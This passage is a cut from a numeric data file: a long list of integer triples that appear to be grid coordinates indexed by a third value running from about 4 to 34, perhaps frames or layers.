4],[12, 17, 4],[13, 17, 4],[14, 17, 4],[27, 17, 4],[28, 17, 4],[11, 18, 4],[12, 18, 4],[13, 18, 4],[15, 18, 4],[10, 19, 4],[11, 19, 4],[12, 19, 4],[14, 19, 4],[24, 19, 4],[25, 19, 4],[31, 19, 4],[32, 19, 4],[11, 20, 4],[12, 20, 4],[13, 20, 4],[14, 20, 4],[24, 20, 4],[25, 20, 4],[31, 20, 4],[32, 20, 4],[12, 21, 4],[13, 21, 4],[20, 25, 4],[21, 25, 4],[20, 26, 4],[21, 27, 4],[22, 27, 4],[23, 27, 4],[23, 28, 4],[9, 0, 5],[9, 1, 5],[10, 1, 5],[11, 1, 5],[12, 2, 5],[11, 3, 5],[12, 3, 5],[0, 8, 5],[1, 8, 5],[7, 8, 5],[8, 8, 5],[0, 9, 5],[1, 9, 5],[7, 9, 5],[8, 9, 5],[4, 11, 5],[5, 11, 5],[4, 12, 5],[5, 12, 5],[12, 16, 5],[14, 16, 5],[27, 16, 5],[28, 16, 5],[11, 17, 5],[15, 17, 5],[27, 17, 5],[28, 17, 5],[10, 18, 5],[15, 18, 5],[10, 19, 5],[15, 19, 5],[24, 19, 5],[25, 19, 5],[31, 19, 5],[32, 19, 5],[10, 20, 5],[14, 20, 5],[24, 20, 5],[25, 20, 5],[31, 20, 5],[32, 20, 5],[11, 21, 5],[14, 21, 5],[20, 25, 5],[21, 25, 5],[20, 26, 5],[21, 27, 5],[22, 27, 5],[23, 27, 5],[23, 28, 5],[9, 0, 6],[9, 1, 6],[10, 1, 6],[11, 1, 6],[12, 2, 6],[11, 3, 6],[12, 3, 6],[0, 8, 6],[1, 8, 6],[7, 8, 6],[8, 8, 6],[0, 9, 6],[1, 9, 6],[7, 9, 6],[8, 9, 6],[4, 11, 6],[5, 11, 6],[4, 12, 6],[5, 12, 6],[27, 16, 6],[28, 16, 6],[11, 17, 6],[14, 17, 6],[15, 17, 6],[27, 17, 6],[28, 17, 6],[10, 18, 6],[11, 18, 6],[14, 18, 6],[15, 18, 6],[16, 18, 6],[9, 19, 6],[10, 19, 6],[11, 19, 6],[14, 19, 6],[15, 19, 6],[24, 19, 6],[25, 19, 6],[31, 19, 6],[32, 19, 6],[10, 20, 6],[11, 20, 6],[14, 20, 6],[15, 20, 6],[24, 20, 6],[25, 20, 6],[31, 20, 6],[32, 20, 6],[20, 25, 6],[21, 25, 6],[20, 26, 6],[21, 27, 6],[22, 27, 6],[23, 27, 6],[23, 28, 6],[9, 0, 7],[9, 1, 7],[10, 1, 7],[11, 1, 7],[12, 2, 7],[11, 3, 7],[12, 3, 7],[0, 8, 7],[1, 8, 7],[7, 8, 7],[8, 8, 7],[0, 9, 7],[1, 9, 7],[7, 9, 7],[8, 9, 7],[4, 11, 7],[5, 11, 7],[4, 12, 7],[5, 12, 7],[27, 16, 7],[28, 16, 7],[10, 17, 7],[11, 17, 7],[14, 17, 7],[16, 17, 7],[27, 17, 7],[28, 17, 7],[9, 18, 7],[12, 18, 7],[13, 18, 7],[16, 18, 7],[9, 19, 7],[12, 19, 7],[13, 19, 7],[24, 19, 7],[25, 19, 7],[31, 19, 7],[32, 19, 7],[9, 20, 7],[11, 20, 7],[14, 20, 7],[15, 20, 7],[24, 20, 7],[25, 20, 7],[31, 20, 7],[32, 20, 7],[20, 25, 7],[21, 25, 7],[20, 26, 7],[21, 27, 7],[22, 27, 7],[23, 27, 7],[23, 28, 7],[9, 0, 8],[9, 1, 8],[10, 1, 8],[11, 1, 8],[12, 2, 8],[11, 3, 8],[12, 3, 8],[0, 8, 8],[1, 8, 8],[7, 8, 8],[8, 8, 8],[0, 9, 8],[1, 9, 8],[7, 9, 8],[8, 9, 8],[4, 11, 8],[5, 11, 8],[4, 12, 8],[5, 12, 8],[27, 16, 8],[28, 16, 8],[10, 17, 8],[11, 17, 8],[12, 17, 8],[13, 17, 8],[15, 17, 8],[27, 17, 8],[28, 17, 8],[9, 18, 8],[14, 18, 8],[15, 18, 8],[8, 19, 8],[9, 19, 8],[11, 19, 8],[15, 19, 8],[24, 19, 8],[25, 19, 8],[31, 19, 8],[32, 19, 8],[10, 20, 8],[12, 20, 8],[13, 20, 8],[14, 20, 8],[24, 20, 8],[25, 20, 8],[31, 20, 8],[32, 20, 8],[20, 25, 8],[21, 25, 8],[20, 26, 8],[21, 27, 8],[22, 27, 8],[23, 27, 8],[23, 28, 8],[9, 0, 9],[9, 1, 9],[10, 1, 9],[11, 1, 9],[12, 2, 9],[11, 3, 9],[12, 3, 9],[0, 8, 9],[1, 8, 9],[7, 8, 9],[8, 8, 9],[0, 9, 9],[1, 9, 9],[7, 9, 9],[8, 9, 9],[4, 11, 9],[5, 11, 9],[4, 12, 9],[5, 12, 9],[11, 16, 9],[12, 16, 9],[27, 16, 9],[28, 16, 9],[10, 17, 9],[11, 17, 9],[12, 17, 9],[13, 17, 9],[15, 17, 9],[27, 17, 9],[28, 17, 9],[8, 18, 9],[9, 18, 9],[13, 18, 9],[15, 18, 9],[16, 18, 9],[8, 19, 9],[9, 19, 9],[11, 19, 9],[12, 19, 9],[15, 19, 9],[24, 19, 9],[25, 19, 9],[31, 19, 9],[32, 19, 9],[9, 20, 9],[10, 20, 9],[11, 20, 9],[12, 20, 9],[13, 20, 9],[14, 20, 9],[24, 20, 9],[25, 20, 9],[31, 20, 9],[32, 20, 9],[13, 21, 9],[20, 25, 9],[21, 25, 9],[20, 26, 9],[21, 27, 9],[22, 27, 9],[23, 27, 9],[23, 28, 9],[9, 0, 10],[9, 1, 10],[10, 1, 10],[11, 1, 10],[12, 2, 10],[11, 3, 10],[12, 3, 10],[0, 8, 10],[1, 8, 10],[7, 8, 10],[8, 8, 10],[0, 9, 10],[1, 9, 10],[7, 9, 10],[8, 9, 10],[4, 11, 10],[5, 11, 10],[4, 12, 10],[5, 12, 10],[10, 16, 10],[13, 16, 10],[27, 16, 10],[28, 16, 10],[9, 17, 10],[10, 17, 10],[13, 17, 10],[15, 17, 10],[16, 17, 10],[27, 17, 10],[28, 17, 10],[8, 18, 10],[13, 18, 10],[15, 18, 10],[16, 18, 10],[15, 19, 10],[16, 19, 10],[24, 19, 10],[25, 19, 10],[31, 19, 10],[32, 19, 10],[8, 20, 10],[9, 20, 10],[14, 20, 10],[24, 20, 10],[25, 20, 10],[31, 20, 10],[32, 20, 10],[10, 21, 10],[11, 21, 10],[13, 21, 10],[14, 21, 10],[20, 25, 10],[21, 25, 10],[20, 26, 10],[21, 27, 10],[22, 27, 10],[23, 27, 10],[23, 28, 10],[9, 0, 11],[9, 1, 11],[10, 1, 11],[11, 1, 11],[12, 2, 11],[11, 3, 11],[12, 3, 11],[0, 8, 11],[1, 8, 11],[7, 8, 11],[8, 8, 11],[0, 9, 11],[1, 9, 11],[7, 9, 11],[8, 9, 11],[4, 11, 11],[5, 11, 11],[4, 12, 11],[5, 12, 11],[9, 16, 11],[10, 16, 11],[14, 16, 11],[27, 16, 11],[28, 16, 11],[9, 17, 11],[10, 17, 11],[12, 17, 11],[13, 17, 11],[15, 17, 11],[16, 17, 11],[27, 17, 11],[28, 17, 11],[9, 18, 11],[17, 18, 11],[8, 19, 11],[9, 19, 11],[16, 19, 11],[24, 19, 11],[25, 19, 11],[31, 19, 11],[32, 19, 11],[9, 20, 11],[10, 20, 11],[13, 20, 11],[14, 20, 11],[24, 20, 11],[25, 20, 11],[31, 20, 11],[32, 20, 11],[9, 21, 11],[10, 21, 11],[13, 21, 11],[14, 21, 11],[20, 25, 11],[21, 25, 11],[20, 26, 11],[21, 27, 11],[22, 27, 11],[23, 27, 11],[23, 28, 11],[9, 0, 12],[9, 1, 12],[10, 1, 12],[11, 1, 12],[12, 2, 12],[11, 3, 12],[12, 3, 12],[0, 8, 12],[1, 8, 12],[7, 8, 12],[8, 8, 12],[0, 9, 12],[1, 9, 12],[7, 9, 12],[8, 9, 12],[4, 11, 12],[5, 11, 12],[4, 12, 12],[5, 12, 12],[9, 16, 12],[10, 16, 12],[11, 16, 12],[13, 16, 12],[14, 16, 12],[15, 16, 12],[27, 16, 12],[28, 16, 12],[8, 17, 12],[11, 17, 12],[13, 17, 12],[14, 17, 12],[15, 17, 12],[16, 17, 12],[27, 17, 12],[28, 17, 12],[15, 18, 12],[17, 18, 12],[8, 19, 12],[24, 19, 12],[25, 19, 12],[31, 19, 12],[32, 19, 12],[13, 20, 12],[14, 20, 12],[15, 20, 12],[24, 20, 12],[25, 20, 12],[31, 20, 12],[32, 20, 12],[9, 21, 12],[10, 21, 12],[13, 21, 12],[14, 21, 12],[20, 25, 12],[21, 25, 12],[20, 26, 12],[21, 27, 12],[22, 27, 12],[23, 27, 12],[23, 28, 12],[9, 0, 13],[9, 1, 13],[10, 1, 13],[11, 1, 13],[12, 2, 13],[11, 3, 13],[12, 3, 13],[0, 8, 13],[1, 8, 13],[7, 8, 13],[8, 8, 13],[0, 9, 13],[1, 9, 13],[7, 9, 13],[8, 9, 13],[4, 11, 13],[5, 11, 13],[4, 12, 13],[5, 12, 13],[10, 15, 13],[14, 15, 13],[9, 16, 13],[10, 16, 13],[11, 16, 13],[13, 16, 13],[16, 16, 13],[27, 16, 13],[28, 16, 13],[9, 17, 13],[11, 17, 13],[13, 17, 13],[27, 17, 13],[28, 17, 13],[15, 18, 13],[15, 19, 13],[16, 19, 13],[24, 19, 13],[25, 19, 13],[31, 19, 13],[32, 19, 13],[9, 20, 13],[13, 20, 13],[15, 20, 13],[24, 20, 13],[25, 20, 13],[31, 20, 13],[32, 20, 13],[13, 21, 13],[15, 21, 13],[20, 25, 13],[21, 25, 13],[20, 26, 13],[21, 27, 13],[22, 27, 13],[23, 27, 13],[23, 28, 13],[9, 0, 14],[9, 1, 14],[10, 1, 14],[11, 1, 14],[12, 2, 14],[11, 3, 14],[12, 3, 14],[0, 8, 14],[1, 8, 14],[7, 8, 14],[8, 8, 14],[0, 9, 14],[1, 9, 14],[7, 9, 14],[8, 9, 14],[4, 11, 14],[5, 11, 14],[4, 12, 14],[5, 12, 14],[9, 15, 14],[10, 15, 14],[11, 15, 14],[9, 16, 14],[11, 16, 14],[13, 16, 14],[14, 16, 14],[27, 16, 14],[28, 16, 14],[9, 17, 14],[11, 17, 14],[14, 17, 14],[27, 17, 14],[28, 17, 14],[14, 18, 14],[15, 18, 14],[16, 18, 14],[15, 19, 14],[16, 19, 14],[24, 19, 14],[25, 19, 14],[31, 19, 14],[32, 19, 14],[15, 20, 14],[24, 20, 14],[25, 20, 14],[31, 20, 14],[32, 20, 14],[20, 25, 14],[21, 25, 14],[20, 26, 14],[21, 27, 14],[22, 27, 14],[23, 27, 14],[23, 28, 14],[9, 0, 15],[9, 1, 15],[10, 1, 15],[11, 1, 15],[12, 2, 15],[11, 3, 15],[12, 3, 15],[0, 8, 15],[1, 8, 15],[7, 8, 15],[8, 8, 15],[0, 9, 15],[1, 9, 15],[7, 9, 15],[8, 9, 15],[4, 11, 15],[5, 11, 15],[4, 12, 15],[5, 12, 15],[10, 14, 15],[9, 15, 15],[11, 15, 15],[12, 15, 15],[8, 16, 15],[9, 16, 15],[11, 16, 15],[13, 16, 15],[14, 16, 15],[27, 16, 15],[28, 16, 15],[12, 17, 15],[27, 17, 15],[28, 17, 15],[14, 18, 15],[16, 18, 15],[24, 19, 15],[25, 19, 15],[31, 19, 15],[32, 19, 15],[15, 20, 15],[16, 20, 15],[24, 20, 15],[25, 20, 15],[31, 20, 15],[32, 20, 15],[20, 25, 15],[21, 25, 15],[20, 26, 15],[21, 27, 15],[22, 27, 15],[23, 27, 15],[23, 28, 15],[9, 0, 16],[9, 1, 16],[10, 1, 16],[11, 1, 16],[12, 2, 16],[11, 3, 16],[12, 3, 16],[0, 8, 16],[1, 8, 16],[7, 8, 16],[8, 8, 16],[0, 9, 16],[1, 9, 16],[7, 9, 16],[8, 9, 16],[4, 11, 16],[5, 11, 16],[4, 12, 16],[5, 12, 16],[10, 14, 16],[11, 14, 16],[8, 15, 16],[9, 15, 16],[11, 15, 16],[12, 15, 16],[13, 15, 16],[8, 16, 16],[9, 16, 16],[11, 16, 16],[13, 16, 16],[27, 16, 16],[28, 16, 16],[12, 17, 16],[14, 17, 16],[15, 17, 16],[27, 17, 16],[28, 17, 16],[16, 19, 16],[24, 19, 16],[25, 19, 16],[31, 19, 16],[32, 19, 16],[24, 20, 16],[25, 20, 16],[31, 20, 16],[32, 20, 16],[20, 25, 16],[21, 25, 16],[20, 26, 16],[21, 27, 16],[22, 27, 16],[23, 27, 16],[23, 28, 16],[9, 0, 17],[9, 1, 17],[10, 1, 17],[11, 1, 17],[12, 2, 17],[11, 3, 17],[12, 3, 17],[0, 8, 17],[1, 8, 17],[7, 8, 17],[8, 8, 17],[0, 9, 17],[1, 9, 17],[7, 9, 17],[8, 9, 17],[4, 11, 17],[5, 11, 17],[4, 12, 17],[5, 12, 17],[9, 14, 17],[10, 14, 17],[11, 14, 17],[8, 15, 17],[13, 15, 17],[8, 16, 17],[9, 16, 17],[11, 16, 17],[27, 16, 17],[28, 16, 17],[12, 17, 17],[13, 17, 17],[14, 17, 17],[27, 17, 17],[28, 17, 17],[15, 18, 17],[24, 19, 17],[25, 19, 17],[31, 19, 17],[32, 19, 17],[24, 20, 17],[25, 20, 17],[31, 20, 17],[32, 20, 17],[20, 25, 17],[21, 25, 17],[20, 26, 17],[21, 27, 17],[22, 27, 17],[23, 27, 17],[23, 28, 17],[9, 0, 18],[9, 1, 18],[10, 1, 18],[11, 1, 18],[12, 2, 18],[11, 3, 18],[12, 3, 18],[0, 8, 18],[1, 8, 18],[7, 8, 18],[8, 8, 18],[0, 9, 18],[1, 9, 18],[7, 9, 18],[8, 9, 18],[4, 11, 18],[5, 11, 18],[4, 12, 18],[5, 12, 18],[10, 13, 18],[9, 14, 18],[10, 14, 18],[8, 15, 18],[11, 15, 18],[12, 15, 18],[8, 16, 18],[9, 16, 18],[14, 16, 18],[27, 16, 18],[28, 16, 18],[12, 17, 18],[13, 17, 18],[14, 17, 18],[27, 17, 18],[28, 17, 18],[13, 18, 18],[14, 18, 18],[24, 19, 18],[25, 19, 18],[31, 19, 18],[32, 19, 18],[24, 20, 18],[25, 20, 18],[31, 20, 18],[32, 20, 18],[20, 25, 18],[21, 25, 18],[20, 26, 18],[21, 27, 18],[22, 27, 18],[23, 27, 18],[23, 28, 18],[9, 0, 19],[9, 1, 19],[10, 1, 19],[11, 1, 19],[12, 2, 19],[11, 3, 19],[12, 3, 19],[0, 8, 19],[1, 8, 19],[7, 8, 19],[8, 8, 19],[0, 9, 19],[1, 9, 19],[7, 9, 19],[8, 9, 19],[4, 11, 19],[5, 11, 19],[4, 12, 19],[5, 12, 19],[9, 13, 19],[10, 13, 19],[9, 14, 19],[10, 14, 19],[8, 15, 19],[11, 15, 19],[8, 16, 19],[9, 16, 19],[11, 16, 19],[14, 16, 19],[27, 16, 19],[28, 16, 19],[12, 17, 19],[15, 17, 19],[27, 17, 19],[28, 17, 19],[12, 18, 19],[14, 18, 19],[24, 19, 19],[25, 19, 19],[31, 19, 19],[32, 19, 19],[24, 20, 19],[25, 20, 19],[31, 20, 19],[32, 20, 19],[20, 25, 19],[21, 25, 19],[20, 26, 19],[21, 27, 19],[22, 27, 19],[23, 27, 19],[23, 28, 19],[9, 0, 20],[9, 1, 20],[10, 1, 20],[11, 1, 20],[12, 2, 20],[11, 3, 20],[12, 3, 20],[0, 8, 20],[1, 8, 20],[7, 8, 20],[8, 8, 20],[0, 9, 20],[1, 9, 20],[7, 9, 20],[8, 9, 20],[4, 11, 20],[5, 11, 20],[4, 12, 20],[5, 12, 20],[9, 13, 20],[10, 13, 20],[8, 14, 20],[11, 14, 20],[8, 15, 20],[11, 15, 20],[8, 16, 20],[9, 16, 20],[10, 16, 20],[11, 16, 20],[12, 16, 20],[27, 16, 20],[28, 16, 20],[11, 17, 20],[12, 17, 20],[14, 17, 20],[15, 17, 20],[27, 17, 20],[28, 17, 20],[13, 18, 20],[24, 19, 20],[25, 19, 20],[31, 19, 20],[32, 19, 20],[24, 20, 20],[25, 20, 20],[31, 20, 20],[32, 20, 20],[20, 25, 20],[21, 25, 20],[20, 26, 20],[21, 27, 20],[22, 27, 20],[23, 27, 20],[23, 28, 20],[9, 0, 21],[9, 1, 21],[10, 1, 21],[11, 1, 21],[12, 2, 21],[11, 3, 21],[12, 3, 21],[0, 8, 21],[1, 8, 21],[7, 8, 21],[8, 8, 21],[0, 9, 21],[1, 9, 21],[7, 9, 21],[8, 9, 21],[4, 11, 21],[5, 11, 21],[4, 12, 21],[5, 12, 21],[9, 13, 21],[10, 13, 21],[8, 14, 21],[11, 14, 21],[7, 15, 21],[8, 15, 21],[8, 16, 21],[9, 16, 21],[13, 16, 21],[27, 16, 21],[28, 16, 21],[9, 17, 21],[14, 17, 21],[27, 17, 21],[28, 17, 21],[12, 18, 21],[13, 18, 21],[14, 18, 21],[24, 19, 21],[25, 19, 21],[31, 19, 21],[32, 19, 21],[24, 20, 21],[25, 20, 21],[31, 20, 21],[32, 20, 21],[20, 25, 21],[21, 25, 21],[20, 26, 21],[21, 27, 21],[22, 27, 21],[23, 27, 21],[23, 28, 21],[9, 0, 22],[9, 1, 22],[10, 1, 22],[11, 1, 22],[12, 2, 22],[11, 3, 22],[12, 3, 22],[0, 8, 22],[1, 8, 22],[7, 8, 22],[8, 8, 22],[0, 9, 22],[1, 9, 22],[7, 9, 22],[8, 9, 22],[4, 11, 22],[5, 11, 22],[4, 12, 22],[5, 12, 22],[9, 13, 22],[10, 13, 22],[7, 14, 22],[8, 14, 22],[10, 14, 22],[7, 15, 22],[7, 16, 22],[9, 16, 22],[27, 16, 22],[28, 16, 22],[8, 17, 22],[9, 17, 22],[12, 17, 22],[14, 17, 22],[27, 17, 22],[28, 17, 22],[13, 18, 22],[14, 18, 22],[13, 19, 22],[24, 19, 22],[25, 19, 22],[31, 19, 22],[32, 19, 22],[24, 20, 22],[25, 20, 22],[31, 20, 22],[32, 20, 22],[20, 25, 22],[21, 25, 22],[20, 26, 22],[21, 27, 22],[22, 27, 22],[23, 27, 22],[23, 28, 22],[9, 0, 23],[9, 1, 23],[10, 1, 23],[11, 1, 23],[12, 2, 23],[11, 3, 23],[12, 3, 23],[0, 8, 23],[1, 8, 23],[7, 8, 23],[8, 8, 23],[0, 9, 23],[1, 9, 23],[7, 9, 23],[8, 9, 23],[4, 11, 23],[5, 11, 23],[4, 12, 23],[5, 12, 23],[8, 13, 23],[9, 13, 23],[10, 13, 23],[7, 14, 23],[8, 14, 23],[10, 14, 23],[6, 15, 23],[7, 15, 23],[9, 15, 23],[7, 16, 23],[9, 16, 23],[27, 16, 23],[28, 16, 23],[8, 17, 23],[9, 17, 23],[14, 17, 23],[27, 17, 23],[28, 17, 23],[12, 18, 23],[14, 18, 23],[13, 19, 23],[14, 19, 23],[24, 19, 23],[25, 19, 23],[31, 19, 23],[32, 19, 23],[24, 20, 23],[25, 20, 23],[31, 20, 23],[32, 20, 23],[20, 25, 23],[21, 25, 23],[20, 26, 23],[21, 27, 23],[22, 27, 23],[23, 27, 23],[23, 28, 23],[9, 0, 24],[9, 1, 24],[10, 1, 24],[11, 1, 24],[12, 2, 24],[11, 3, 24],[12, 3, 24],[0, 8, 24],[1, 8, 24],[7, 8, 24],[8, 8, 24],[0, 9, 24],[1, 9, 24],[7, 9, 24],[8, 9, 24],[4, 11, 24],[5, 11, 24],[4, 12, 24],[5, 12, 24],[9, 12, 24],[7, 13, 24],[8, 13, 24],[10, 13, 24],[6, 14, 24],[10, 14, 24],[6, 15, 24],[9, 15, 24],[10, 15, 24],[6, 16, 24],[7, 16, 24],[9, 16, 24],[10, 16, 24],[27, 16, 24],[28, 16, 24],[8, 17, 24],[9, 17, 24],[13, 17, 24],[27, 17, 24],[28, 17, 24],[14, 18, 24],[15, 18, 24],[13, 19, 24],[14, 19, 24],[24, 19, 24],[25, 19, 24],[31, 19, 24],[32, 19, 24],[24, 20, 24],[25, 20, 24],[31, 20, 24],[32, 20, 24],[20, 25, 24],[21, 25, 24],[20, 26, 24],[21, 27, 24],[22, 27, 24],[23, 27, 24],[23, 28, 24],[9, 0, 25],[9, 1, 25],[10, 1, 25],[11, 1, 25],[12, 2, 25],[11, 3, 25],[12, 3, 25],[0, 8, 25],[1, 8, 25],[7, 8, 25],[8, 8, 25],[0, 9, 25],[1, 9, 25],[7, 9, 25],[8, 9, 25],[4, 11, 25],[5, 11, 25],[4, 12, 25],[5, 12, 25],[6, 12, 25],[8, 12, 25],[9, 12, 25],[5, 13, 25],[6, 13, 25],[7, 13, 25],[8, 13, 25],[10, 13, 25],[6, 14, 25],[8, 14, 25],[10, 14, 25],[11, 14, 25],[5, 15, 25],[6, 15, 25],[8, 15, 25],[11, 15, 25],[6, 16, 25],[7, 16, 25],[27, 16, 25],[28, 16, 25],[7, 17, 25],[8, 17, 25],[9, 17, 25],[10, 17, 25],[14, 17, 25],[27, 17, 25],[28, 17, 25],[15, 18, 25],[13, 19, 25],[14, 19, 25],[15, 19, 25],[24, 19, 25],[25, 19, 25],[31, 19, 25],[32, 19, 25],[24, 20, 25],[25, 20, 25],[31, 20, 25],[32, 20, 25],[20, 25, 25],[21, 25, 25],[20, 26, 25],[21, 27, 25],[22, 27, 25],[23, 27, 25],[23, 28, 25],[9, 0, 26],[9, 1, 26],[10, 1, 26],[11, 1, 26],[12, 2, 26],[11, 3, 26],[12, 3, 26],[0, 8, 26],[1, 8, 26],[7, 8, 26],[8, 8, 26],[0, 9, 26],[1, 9, 26],[7, 9, 26],[8, 9, 26],[4, 11, 26],[6, 11, 26],[8, 12, 26],[9, 12, 26],[4, 13, 26],[10, 13, 26],[11, 13, 26],[8, 14, 26],[10, 14, 26],[11, 14, 26],[5, 15, 26],[8, 15, 26],[9, 15, 26],[10, 15, 26],[11, 15, 26],[5, 16, 26],[10, 16, 26],[27, 16, 26],[28, 16, 26],[6, 17, 26],[7, 17, 26],[8, 17, 26],[9, 17, 26],[27, 17, 26],[28, 17, 26],[8, 18, 26],[9, 18, 26],[13, 18, 26],[15, 18, 26],[14, 19, 26],[15, 19, 26],[24, 19, 26],[25, 19, 26],[31, 19, 26],[32, 19, 26],[14, 20, 26],[24, 20, 26],[25, 20, 26],[31, 20, 26],[32, 20, 26],[20, 25, 26],[21, 25, 26],[20, 26, 26],[21, 27, 26],[22, 27, 26],[23, 27, 26],[23, 28, 26],[9, 0, 27],[9, 1, 27],[10, 1, 27],[11, 1, 27],[12, 2, 27],[11, 3, 27],[12, 3, 27],[0, 8, 27],[1, 8, 27],[7, 8, 27],[8, 8, 27],[0, 9, 27],[1, 9, 27],[7, 9, 27],[8, 9, 27],[7, 10, 27],[5, 12, 27],[9, 12, 27],[10, 12, 27],[8, 13, 27],[11, 13, 27],[8, 14, 27],[12, 14, 27],[8, 15, 27],[5, 16, 27],[11, 16, 27],[27, 16, 27],[28, 16, 27],[6, 17, 27],[7, 17, 27],[10, 17, 27],[27, 17, 27],[28, 17, 27],[9, 18, 27],[15, 18, 27],[13, 19, 27],[15, 19, 27],[24, 19, 27],[25, 19, 27],[31, 19, 27],[32, 19, 27],[14, 20, 27],[15, 20, 27],[24, 20, 27],[25, 20, 27],[31, 20, 27],[32, 20, 27],[20, 25, 27],[21, 25, 27],[20, 26, 27],[21, 27, 27],[22, 27, 27],[23, 27, 27],[23, 28, 27],[9, 0, 28],[9, 1, 28],[10, 1, 28],[11, 1, 28],[12, 2, 28],[11, 3, 28],[12, 3, 28],[0, 8, 28],[1, 8, 28],[7, 8, 28],[8, 8, 28],[0, 9, 28],[1, 9, 28],[6, 9, 28],[7, 10, 28],[8, 10, 28],[9, 12, 28],[10, 12, 28],[8, 13, 28],[10, 13, 28],[11, 13, 28],[7, 14, 28],[8, 14, 28],[9, 14, 28],[6, 16, 28],[7, 16, 28],[27, 16, 28],[28, 16, 28],[6, 17, 28],[10, 17, 28],[27, 17, 28],[28, 17, 28],[14, 18, 28],[15, 19, 28],[16, 19, 28],[24, 19, 28],[25, 19, 28],[31, 19, 28],[32, 19, 28],[14, 20, 28],[15, 20, 28],[24, 20, 28],[25, 20, 28],[31, 20, 28],[32, 20, 28],[20, 25, 28],[21, 25, 28],[20, 26, 28],[21, 27, 28],[22, 27, 28],[23, 27, 28],[23, 28, 28],[9, 0, 29],[9, 1, 29],[10, 1, 29],[11, 1, 29],[12, 2, 29],[11, 3, 29],[12, 3, 29],[0, 8, 29],[1, 8, 29],[7, 8, 29],[0, 9, 29],[1, 9, 29],[6, 9, 29],[7, 10, 29],[8, 11, 29],[9, 11, 29],[9, 12, 29],[10, 12, 29],[11, 12, 29],[7, 13, 29],[11, 13, 29],[7, 14, 29],[8, 14, 29],[9, 14, 29],[10, 14, 29],[6, 15, 29],[6, 16, 29],[7, 16, 29],[27, 16, 29],[28, 16, 29],[6, 17, 29],[7, 17, 29],[27, 17, 29],[28, 17, 29],[15, 18, 29],[16, 19, 29],[24, 19, 29],[25, 19, 29],[31, 19, 29],[32, 19, 29],[14, 20, 29],[15, 20, 29],[16, 20, 29],[24, 20, 29],[25, 20, 29],[31, 20, 29],[32, 20, 29],[20, 25, 29],[21, 25, 29],[20, 26, 29],[21, 27, 29],[22, 27, 29],[23, 27, 29],[23, 28, 29],[9, 0, 30],[9, 1, 30],[10, 1, 30],[11, 1, 30],[12, 2, 30],[11, 3, 30],[12, 3, 30],[0, 8, 30],[1, 8, 30],[0, 9, 30],[1, 9, 30],[6, 9, 30],[7, 9, 30],[7, 10, 30],[8, 10, 30],[8, 11, 30],[9, 11, 30],[9, 12, 30],[11, 12, 30],[7, 13, 30],[11, 13, 30],[6, 14, 30],[7, 14, 30],[8, 14, 30],[9, 14, 30],[10, 14, 30],[6, 15, 30],[9, 15, 30],[5, 16, 30],[27, 16, 30],[28, 16, 30],[6, 17, 30],[7, 17, 30],[27, 17, 30],[28, 17, 30],[14, 19, 30],[16, 19, 30],[24, 19, 30],[25, 19, 30],[31, 19, 30],[32, 19, 30],[15, 20, 30],[16, 20, 30],[24, 20, 30],[25, 20, 30],[31, 20, 30],[32, 20, 30],[15, 21, 30],[20, 25, 30],[21, 25, 30],[20, 26, 30],[21, 27, 30],[22, 27, 30],[23, 27, 30],[23, 28, 30],[9, 0, 31],[9, 1, 31],[10, 1, 31],[11, 1, 31],[12, 2, 31],[11, 3, 31],[12, 3, 31],[0, 8, 31],[1, 8, 31],[0, 9, 31],[1, 9, 31],[6, 9, 31],[7, 9, 31],[8, 9, 31],[6, 10, 31],[9, 10, 31],[7, 11, 31],[9, 11, 31],[10, 11, 31],[9, 12, 31],[6, 13, 31],[7, 13, 31],[11, 13, 31],[6, 14, 31],[9, 14, 31],[10, 14, 31],[5, 15, 31],[6, 15, 31],[9, 15, 31],[10, 15, 31],[5, 16, 31],[7, 16, 31],[27, 16, 31],[28, 16, 31],[6, 17, 31],[27, 17, 31],[28, 17, 31],[16, 19, 31],[24, 19, 31],[25, 19, 31],[31, 19, 31],[32, 19, 31],[14, 20, 31],[16, 20, 31],[24, 20, 31],[25, 20, 31],[31, 20, 31],[32, 20, 31],[15, 21, 31],[16, 21, 31],[20, 25, 31],[21, 25, 31],[20, 26, 31],[21, 27, 31],[22, 27, 31],[23, 27, 31],[23, 28, 31],[9, 0, 32],[9, 1, 32],[10, 1, 32],[11, 1, 32],[12, 2, 32],[11, 3, 32],[12, 3, 32],[0, 8, 32],[1, 8, 32],[7, 8, 32],[0, 9, 32],[1, 9, 32],[6, 9, 32],[7, 9, 32],[8, 9, 32],[6, 10, 32],[9, 10, 32],[10, 10, 32],[9, 11, 32],[10, 11, 32],[6, 12, 32],[7, 12, 32],[9, 12, 32],[6, 13, 32],[7, 13, 32],[8, 13, 32],[9, 13, 32],[8, 14, 32],[9, 14, 32],[11, 14, 32],[5, 15, 32],[7, 15, 32],[8, 15, 32],[9, 15, 32],[10, 15, 32],[5, 16, 32],[7, 16, 32],[27, 16, 32],[28, 16, 32],[6, 17, 32],[27, 17, 32],[28, 17, 32],[15, 19, 32],[24, 19, 32],[25, 19, 32],[31, 19, 32],[32, 19, 32],[16, 20, 32],[17, 20, 32],[24, 20, 32],[25, 20, 32],[31, 20, 32],[32, 20, 32],[15, 21, 32],[16, 21, 32],[20, 25, 32],[21, 25, 32],[20, 26, 32],[21, 27, 32],[22, 27, 32],[23, 27, 32],[23, 28, 32],[9, 0, 33],[9, 1, 33],[10, 1, 33],[11, 1, 33],[12, 2, 33],[11, 3, 33],[12, 3, 33],[0, 8, 33],[1, 8, 33],[6, 8, 33],[7, 8, 33],[8, 8, 33],[0, 9, 33],[1, 9, 33],[6, 9, 33],[8, 9, 33],[9, 9, 33],[6, 10, 33],[10, 10, 33],[6, 11, 33],[7, 11, 33],[6, 12, 33],[6, 13, 33],[7, 15, 33],[10, 15, 33],[5, 16, 33],[7, 16, 33],[9, 16, 33],[27, 16, 33],[28, 16, 33],[6, 17, 33],[27, 17, 33],[28, 17, 33],[16, 19, 33],[24, 19, 33],[25, 19, 33],[31, 19, 33],[32, 19, 33],[17, 20, 33],[24, 20, 33],[25, 20, 33],[31, 20, 33],[32, 20, 33],[15, 21, 33],[16, 21, 33],[17, 21, 33],[20, 25, 33],[21, 25, 33],[20, 26, 33],[21, 27, 33],[22, 27, 33],[23, 27, 33],[23, 28, 33],[9, 0, 34],[9, 1, 34],[10, 1, 34],[11, 1, 34],[12, 2, 34],[11, 3, 34],[12, 3, 34],[7, 7, 34],[0, 8, 34],[1, 8, 34],[6, 8, 34],[8, 8, 34],[9, 8, 34],[0, 9, 34],[1, 9, 34],[5, 9, 34],[6, 9, 34],[8, 9, 34],[9, 9, 34],[5, 10, 34],[6, 10, 34],[8, 10, 34],[9, 10, 34],[5, 11, 34],[6, 